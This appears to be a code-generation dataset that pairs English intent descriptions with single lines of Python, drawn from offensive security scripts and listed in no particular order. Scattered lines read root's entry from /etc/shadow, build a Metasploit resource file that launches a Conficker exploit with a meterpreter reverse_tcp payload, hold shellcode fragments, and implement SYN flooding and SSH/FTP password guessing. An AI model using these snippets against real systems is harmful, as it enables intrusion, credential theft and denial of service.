File size: 10,382 Bytes
cf86e0e 10f668a cf86e0e |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 |
Intent Script
Assign 0 to seqNum seqNum = 0
Exit the function with argument geoLoc return geoLoc
Exit with value 0 exit(0)
Instantiate the class BoundedSemaphore with argument value equals to maxConnections and assign the result to connection_lock connection_lock = BoundedSemaphore(value=maxConnections)
"Call the method send with argument command concatenated to "" "" concatenated to crash concatenated to ""\r\n""" "s.send(command +"" "" + crash + ""\r\\n"")"
If username is equal to None or password is equals to None if username == None or password == None:
Send the packet synPkt send(synPkt)
Start try block try:
Start the exception block with arguments Exception and e except Exception, e:
Call function send_command with arguments s and 'cat /etc/shadow | grep root' send_command(s, 'cat /etc/shadow | grep root')
"Assign to shellcode the tuple containing ""\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9""" "shellcode = (""\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9"""
"Continue the value with ""\NetworkList\Signatures\Unmanaged""" """\NetworkList\Signatures\Unmanaged"""
If the method haslayer with argument DNSRR of pkt is True if pkt.haslayer(DNSRR):
"and ""\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8""" """\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8"""
If rLat exists if rLat:
Define the cursor c of the database c = conn.cursor()
Import the library to control the operative system import os
import everything from the library for threads from threading import *
Concatenate the strings kmlPts = kmlPts + srcKML + dstKML
Assign to opt the value ' -o PasswordAuthentication=no' opt = ' -o PasswordAuthentication=no'
Release the lock screenLock.release()
Add the option of the parser p for tgtPort as a string with help specify target port[s] separated by comma parser.add_option('-p', dest='tgtPort', type='string',help='specify target port[s] separated by comma')
Call the open function with argument 'meta.rc' and 'w' configFile = open('meta.rc', 'w')
Set a proxy to browser with address proxy browser.set_proxies(proxy)
Continue the argument with help 'specify wigle username' help='specify wigle username')
Assign to synSpoof the sunSpoof of options synSpoof = options.synSpoof
Call the method spawn with argument connStr of pexpect and assign it to child child = pexpect.spawn(connStr)
Import the library to manage time import time
Acquire the lock screenLock.acquire()
Call the method split with argument '\\' and slice at position -1 and assign it to user user = value.split('\\')[-1]
If passwdFile is not equal to None if passwdFile != None:
Assign to TCPlayer the result of the function TCP with argument sport equals sport and dport equals to 513 TCPlayer = TCP(sport=sport, dport=513)
Exit the function with argument imgFileName return imgFileName
For each ch in val for ch in val:
import the library for parsing import optparse
Call the method login with arguments userName and passWord of ftp ftp.login(userName, passWord)
If the value of Fails is more than 5 if Fails > 5:
If the substring 'read_nonblocking' is found in the result of the function str with argument e if 'read_nonblocking' in str(e):
Assign to the value tcp the data of ip tcp = ip.data
Add the options to parser '-i', dest equals to 'iface', type equals to 'string', help equals to 'specify network interface' parser.add_option('-i', dest='iface', type='string',help='specify network interface')
Define function connect with arguments host user and password def connect(host, user, password):
Assign to skypeDB the path of main.db inside the pathName skypeDB = os.path.join(pathName, 'main.db')
From the library to manipulate IPs import IP as IPTEST from IPy import IP as IPTEST
Assign to kml and empty string kmlPts = ''
Assign an empty list to dnsRecords at the key rrname dnsRecords[rrname] = []
Call the method parse_args with no argument on parser and assign it to the tuple composed of options and args (options, args) = parser.parse_args()
"Assign to parser the OptionParser with argument the concatenation of""usage %prog "" and ""-p <firefox profile path> """ "parser = optparse.OptionParser(""usage %prog ""+""-p <firefox profile path> "")"
Assign to c the cursor of conn c = conn.cursor()
Call the function printGoogle with argument placesDB printGoogle(placesDB)
If the absolute value of ttl casted to int minus the ttlValues at the hey ipsrc casted at int is more than THRESH if abs(int(ttl) - int(ttlValues[ipsrc])) > THRESH:
Append to the list dnsRecords at the key rrname the value rdata dnsRecords[rrname].append(rdata)
Assign to mapLat the value rLat at the position 0, then call the function split with argument '&' at the position 0, then call the function split with argument '=' at the position 1 mapLat = rLat[0].split('&')[0].split('=')[1]
Define the function testUserAgent with argument url an userAgent def testUserAgent(url, userAgent):
Connect to the database placesDB and assign it to conn conn = sqlite3.connect(placesDB)
Call the method append with argument host of tgtHosts tgtHosts.append(host)
Call the addClient function with arguments '127.0.0.1', 'root' and 'toor' addClient('127.0.0.1', 'root', 'toor')
Call the method write of configFile with argument 'setg DisablePayloadHandler 1\n' configFile.write('setg DisablePayloadHandler 1\\n')
Call the method split with argument ':' on line, take the the result in position 1, call the strip method with argument '\r' then call the strip method with argument '\n' and assign it to passWord passWord = line.split(':')[1].strip('\r').strip('\\n')
Assign to soup the result of BeautufulSoup with argument html soup = BeautifulSoup(html)
Call the method write of configFile with argument 'set RHOST ' concatenated to the function str with argument tgtHost concatenated to '\n' configFile.write('set RHOST ' + str(tgtHost) + '\\n')
Continue the argument and concatenation with 'windows/meterpreter/reverse_tcp\n' 'windows/meterpreter/reverse_tcp\\n')
Call the function confickerExploit with arguments configFile, tgtHost, lhost and lport confickerExploit(configFile, tgtHost, lhost, lport)
For each recycleDir in dirs for recycleDir in dirs:
Exit the function with tuple userName and passWord return (userName, passWord)
Assign to password the value password of options password = options.password
Call the function FTP with argument hostname of the library ftplib and assign it to ftp ftp = ftplib.FTP(hostname)
"Assign to link_finder the function compile with argument 'href=""(.*?)""' of re" "link_finder = re.compile('href=""(.*?)""')"
"and ""\xba\x1e\x53\x31""" """\xba\x1e\x53\x31"")"
Assign to latitude the field 'latitude' of rec latitude = rec['latitude']
Assign the value '192.168.95.179' to host host = '192.168.95.179'
Assign to text the result with key 'content' text = result['content']
From the library to manipulate packets import everything from scapy.all import *
Define the function synFlood with arguments src and tgt def synFlood(src, tgt):
Call the function listDir with argument recycleDir of os and assign the result to dirList dirList = os.listdir(recycleDir)
Call the function nlst with no argument from the library ftp and assign to dirList dirList = ftp.nlst()
Assign to r the result of all the substring that match the pattern r'q=.*\&' of url r = re.findall(r'q=.*\&', url)
"Continue the arguments with value ""SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList""" """SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList"""
Continue the argument and the list with the value '[P|p]assword:' '[P|p]assword:'])
Assign to addr the value '' addr = ''
From the library to edit the Windows registry import everything from _winreg import *
Get the record for that IP and assign it to rec rec = gi.record_by_name(ip)
Import the library to manipulate json files import json
Assign the value True to the variable Found Found = True
Start the try block except:
If the thresh of options is not equal to None if options.thresh != None:
For each cookie in the cookie_jar of ab for cookie in ab.cookie_jar:
Assign to passWord the value 'guest' passWord = 'guest'
Define the function val2addr with argument val def val2addr(val):
Assign to url the result of function str with argument row at position 0 url = str(row[0])
Call the method acquire with no arguments of connection_lock connection_lock.acquire()
Assign to src the src of options src = options.src
For each pkt in pkts for pkt in pkts:
Call the method write of configFile with argument 'exploit -j -z\n' configFile.write('exploit -j -z\\n')
Call the function wiglePrint with argument username, password and macAddr wiglePrint(username, password, macAddr)
Assign to url the value 'http://ip.nefsc.noaa.gov/' url = 'http://ip.nefsc.noaa.gov/'
Assign the value user to self.user self.user = user
Call the function printCookies with argument url printCookies(url)
Assign to userAgent a tuple made of 'User-agent' and 'Mozilla/5.0 (X11; U; '+ 'Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01' inside a list userAgent = [('User-agent', 'Mozilla/5.0 (X11; U; '+ 'Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01')]
"and ""\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96""" """\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96"""
"Assign to kmlheader the string '<?xml version=""1.0"" encoding=""UTF-8""?><kml xmlns=""http://www.opengis.net/kml/2.2"">\n<Document>\n'" "kmlheader = '<?xml version=""1.0"" encoding=""UTF-8""?><kml xmlns=""http://www.opengis.net/kml/2.2"">\\n<Document>\\n'"
Start try block try:
Exit the function with value True return True
Assign to country the field 'country_name' of rec country = rec['country_name']
Call the function sleep with argument 4 of the library time time.sleep(4)
From the library to parse HTML import BeautifilSoup from bs4 import BeautifulSoup
Open the page at the url and assign it to page page = browser.open(url)
Assing to preNum seqNum preNum = seqNum
Assign True to the variable Stop Stop = True
Exit function and return the value addr return addr
If rLon exists if rLon:
Import the library to use a sqlite database import sqlite3
Add the option -u for url as type string with help equals to 'specify url address' parser.add_option('-u', dest='url', type='string', help='specify url address')
Define the function printGoogle with argument placesDB def printGoogle(placesDB):
|